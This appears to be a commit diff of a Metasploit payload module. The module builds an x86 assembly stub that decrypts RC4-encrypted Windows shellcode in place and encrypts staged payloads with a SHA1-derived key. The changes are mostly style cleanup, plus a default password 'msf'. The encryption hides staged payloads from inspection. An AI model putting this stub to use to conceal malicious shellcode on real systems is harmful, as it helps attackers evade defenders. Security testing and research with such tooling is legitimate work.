@@ -9,23 +9,21 @@ module Msf
9
9
# RC4 decryption stub for Windows ARCH_X86 payloads
10
10
#
11
11
###
12
-
13
12
module Payload ::Windows ::Rc4
14
-
15
13
#
16
14
# Register rc4 specific options
17
15
#
18
16
def initialize ( *args )
19
17
super
20
- register_options ( [ OptString . new ( " RC4PASSWORD" , [ true , " Password to derive RC4 key from" ] ) ] , self . class )
18
+ register_options ( [ OptString . new ( ' RC4PASSWORD' , [ true , ' Password to derive RC4 key from' , 'msf' ] ) ] , self . class )
21
19
end
22
20
23
21
#
24
22
# Generate assembly code that decrypts RC4 shellcode in-place
25
23
#
26
24
27
25
def asm_decrypt_rc4
28
- asm = %Q !
26
+ % !
29
27
;-----------------------------------------------------------------------------;
30
28
; Author: Michael Schierl (schierlm[at]gmx[dot]de)
31
29
; Version: 1.0 (29 December 2012)
@@ -49,8 +47,8 @@ def asm_decrypt_rc4
49
47
xor ebx, ebx ; Clear EBX (EAX is already cleared)
50
48
permute:
51
49
add bl, [edi+eax] ; BL += S[AL] + KEY[AL % 16]
52
- mov edx, eax
53
- and dl, 0xF
50
+ mov edx, eax
51
+ and dl, 0xF
54
52
add bl, [esi+edx]
55
53
mov dl, [edi+eax] ; swap S[AL] and S[BL]
56
54
xchg dl, [edi+ebx]
@@ -72,43 +70,29 @@ def asm_decrypt_rc4
72
70
dec ecx ; reduce counter
73
71
jnz decrypt ; until finished
74
72
!
75
- asm
76
- end
77
-
78
- def uuid_required_size
79
- # Start with the number of bytes required for the instructions
80
- space = 17
81
-
82
- # a UUID is 16 bytes
83
- space += 16
84
-
85
- space
86
73
end
87
74
88
- def generate_stage ( opts = { } )
75
+ def generate_stage ( opts = { } )
89
76
p = super ( opts )
90
- xorkey , rc4key = rc4_keys ( datastore [ 'RC4PASSWORD' ] )
77
+ xorkey , rc4key = rc4_keys ( datastore [ 'RC4PASSWORD' ] )
91
78
c1 = OpenSSL ::Cipher ::Cipher . new ( 'RC4' )
92
79
c1 . decrypt
93
80
c1 . key = rc4key
94
81
p = c1 . update ( p )
95
- return [ p . length ^ xorkey . unpack ( 'V' ) [ 0 ] ] . pack ( 'V' ) + p
82
+ [ p . length ^ xorkey . unpack ( 'V' ) [ 0 ] ] . pack ( 'V' ) + p
96
83
end
97
84
98
- def handle_intermediate_stage ( conn , payload )
99
- return false
85
+ def handle_intermediate_stage ( _conn , _payload )
86
+ false
100
87
end
101
88
102
- private
89
+ private
103
90
104
91
def rc4_keys ( rc4pass = '' )
105
92
m = OpenSSL ::Digest . new ( 'sha1' )
106
93
m . reset
107
94
key = m . digest ( rc4pass )
108
- [ key [ 0 , 4 ] , key [ 4 , 16 ] ]
95
+ [ key [ 0 , 4 ] , key [ 4 , 16 ] ]
109
96
end
110
-
111
97
end
112
-
113
98
end
114
-
0 commit comments